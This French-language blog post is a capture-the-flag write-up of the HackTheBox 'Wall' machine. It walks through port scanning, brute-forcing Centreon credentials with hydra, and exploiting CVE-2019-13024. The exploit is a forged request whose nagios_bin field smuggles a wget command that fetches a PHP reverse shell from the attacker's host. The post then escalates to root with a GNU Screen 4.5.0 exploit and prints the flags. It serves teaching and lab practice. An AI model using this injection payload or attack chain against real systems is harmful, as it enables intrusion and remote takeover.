P0pR0cK5's Blog

Pentest, Challenges, Tests and more ...

View on GitHub

HackTheBox - Wall

Retour

WALL

TL;DR

Cette machine vous confrontera à un Firewall applicatif (WAF) que vous devrez contourner afin d’exploiter un applicatif web. Une machine vraiment intéressante avec un aspect réaliste.

Exploitation

Scan des ports via Nmap :

root@kali:~/wall# nmap -p- -sCV 10.10.10.157 -oA wall
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-18 13:44 CEST
Nmap scan report for 10.10.10.157
Host is up (0.023s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
|   256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_  256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.23 seconds

En ouvrant le port 80 dans un navigateur, je tombe sur une page par défaut d’Apache sur Ubuntu. Je lance donc dirsearch :

root@kali:~/wall# ../dirsearch/dirsearch.py -u http://10.10.10.157/centreon -e php,txt,html,jsp,asmx,aspx,c,bin,elf   -w /usr/share/wordlists/CUSTOM_MEGA_LIST_URL -t 10

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: php, txt, html, jsp, asmx, aspx, c, bin, elf | Threads: 10 | Wordlist size: 211325

Error Log: /root/dirsearch/logs/errors-19-09-18_13-03-13.log

Target: http://10.10.10.157/centreon

[13:03:13] Starting: 
[13:03:15] 301 -  319B  - /centreon/api  ->  http://10.10.10.157/centreon/api/
[13:03:17] 301 -  321B  - /centreon/class  ->  http://10.10.10.157/centreon/class/
[13:03:24] 301 -  319B  - /centreon/img  ->  http://10.10.10.157/centreon/img/
[13:03:24] 301 -  323B  - /centreon/include  ->  http://10.10.10.157/centreon/include/
[13:03:26] 301 -  319B  - /centreon/lib  ->  http://10.10.10.157/centreon/lib/
[13:03:28] 301 -  323B  - /centreon/modules  ->  http://10.10.10.157/centreon/modules/
[13:03:36] 301 -  322B  - /centreon/static  ->  http://10.10.10.157/centreon/static/
[13:03:39] 301 -  323B  - /centreon/widgets  ->  http://10.10.10.157/centreon/widgets/
[13:03:40] 200 -    3KB - /centreon/
[13:03:45] 301 -  322B  - /centreon/sounds  ->  http://10.10.10.157/centreon/sounds/
[13:03:50] 301 -  322B  - /centreon/locale  ->  http://10.10.10.157/centreon/locale/

Note : J’ai créé une liste a base de https://github.com/SanSYS/subdscan/blob/master/wordlist.txt et de /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Je tombe enfin sur une page de login Centreon, mais je n’ai pas d’identifiants, place au Bruteforce :

root@kali:~/wall# hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 80 10.10.10.157 http-post-form "/centreon/api/index.php?action=authenticate:username=^USER^&password=^PASS^:Bad credentials"
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-09-18 13:41:39
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.10.10.157:80/centreon/api/index.php?action=authenticate:username=^USER^&password=^PASS^:Bad credentials
[80][http-post-form] host: 10.10.10.157   login: admin   password: password1
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-09-18 13:41:58

Note : Ici avec l’API car impossible depuis l’interface graphique

Pour la suite nous devons exploiter la CVE-2019-13024 pour exécuter des commandes sur la machine distante.

Je lance ZAP, le branche sur firefox et navigue sur Centreon.

Puis, depuis Centreon, je créer un Poller :

wall1

J’active l’interception sur ZAP et clique sur save (depuis Centreon):

wall2

Je forge une requête avec la commande /usr/bin/wget http://10.10.14.65:8888/rev.php # qui permet de télécharger mon reverse shell :

submitC=Save&name=Central&ns_ip_address=127.0.0.1&localhost%5Blocalhost%5D=1&is_default%5Bis_default%5D=0&ssh_port=22&init_script=centengine&nagios_bin=/usr/bin/wget http://10.10.14.65:8888/rev.php # &nagiostats_bin=%2Fusr%2Fsbin%2Fcentenginestats&nagios_perfdata=%2Fvar%2Flog%2Fcentreon-engine%2Fservice-perfdata&centreonbroker_cfg_path=%2Fetc%2Fcentreon-broker&centreonbroker_module_path=%2Fusr%2Fshare%2Fcentreon%2Flib%2Fcentreon-broker&centreonbroker_logs_path=&centreonconnector_path=%2Fusr%2Flib64%2Fcentreon-connector&init_script_centreontrapd=centreontrapd&snmp_trapd_path_conf=%2Fetc%2Fsnmp%2Fcentreon_traps%2F&ns_activate%5Bns_activate%5D=1&id=1&o=c&centreon_token=6d3db5b978c19360ade68625519ec8b4

Par ce biais j’écris mon exploit dans le Poller que j’ai créé juste avant depuis l’interface web, j’utilise ensuite l’exploit pour lancer la commande (et donc le téléchargement du shell) :

wall3

Le reverse shell est téléchargé et je peux le lancer en appelant http://10.10.10.157/centreon/rev.php . Pour obtenir un prompt plus utilisable, j’utilise cette commande :

python -c 'import pty; pty.spawn("/bin/sh")'

Enfin, je recherche les fichier SUID root :

find / -perm -u=s -type f 2>/dev/null

La commande screen et ping sont disponible en suid mais Sur GTFOBins, aucun exploit n’a marché. Je cherche donc un exploit avec searchsploit :

root@kali:~# searchsploit screen 4.5
------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                 |  Path
                                                                               | (/usr/share/exploitdb/)
------------------------------------------------------------------------------- ----------------------------------------
GNU Screen 4.5.0 - Local Privilege Escalation                                  | exploits/linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC)                            | exploits/linux/local/41152.txt
------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Je copie donc le fichier sur le serveur, et le lance :

bash: ./41154.sh: /bin/bash^M: bad interpreter: No such file or directory
www-data@Wall:/tmp$ sed -i -e 's/\r$//' 41154.sh

Une erreur d’encodage empêche le lancement du script, je le corrige avec cette commande :

sed -i -e 's/\r$//' 41154.sh

Maintenant je lance le script :

$ /tmp/41154.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function 'dropshell':
/tmp/libhax.c:7:5: warning: implicit declaration of function 'chmod'; did you mean 'chroot'? [-Wimplicit-function-declaration]
     chmod("/tmp/rootshell", 04755);
     ^~~~~
     chroot
/tmp/rootshell.c: In function 'main':
/tmp/rootshell.c:3:5: warning: implicit declaration of function 'setuid'; did you mean 'setbuf'? [-Wimplicit-function-declaration]
     setuid(0);
     ^~~~~~
     setbuf
/tmp/rootshell.c:4:5: warning: implicit declaration of function 'setgid'; did you mean 'setbuf'? [-Wimplicit-function-declaration]
     setgid(0);
     ^~~~~~
     setbuf
/tmp/rootshell.c:5:5: warning: implicit declaration of function 'seteuid'; did you mean 'setbuf'? [-Wimplicit-function-declaration]
     seteuid(0);
     ^~~~~~~
     setbuf
/tmp/rootshell.c:6:5: warning: implicit declaration of function 'setegid' [-Wimplicit-function-declaration]
     setegid(0);
     ^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function 'execvp' [-Wimplicit-function-declaration]
     execvp("/bin/sh", NULL, NULL);
     ^~~~~~
/usr/bin/ld: cannot open output file /tmp/rootshell: Permission denied
collect2: error: ld returned 1 exit status
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
There are screens on:
        1480..Wall      (Detached)
        1491..Wall      (Detached)
        1593..Wall      (Detached)
        1510..Wall      (Detached)
        1425..Wall      (Detached)
5 Sockets in /tmp/screens/S-www-data.
id
uid=0(root) gid=0(root) groups=0(root),33(www-data),6000(centreon)

J’affiche les flag :

cat /home/shelby/user.txt
fe6194544f452f62dc905b12f8da8406
cat /root/root.txt
1fdbcf8c33eaa2599afdc52e1b4d5db7

ROOTED !!!!

Ce que j’ai appris

  • Rester simple, je suis sur un serveur web : je fais un reverse shell en php
  • Si exploit il y a, je le test avant de me lancer dans un exploit manuel

Sources :

CVE-2019-13024 PRIVESC COMMAND INJECTION


Written on December 7, 2019 by


Retour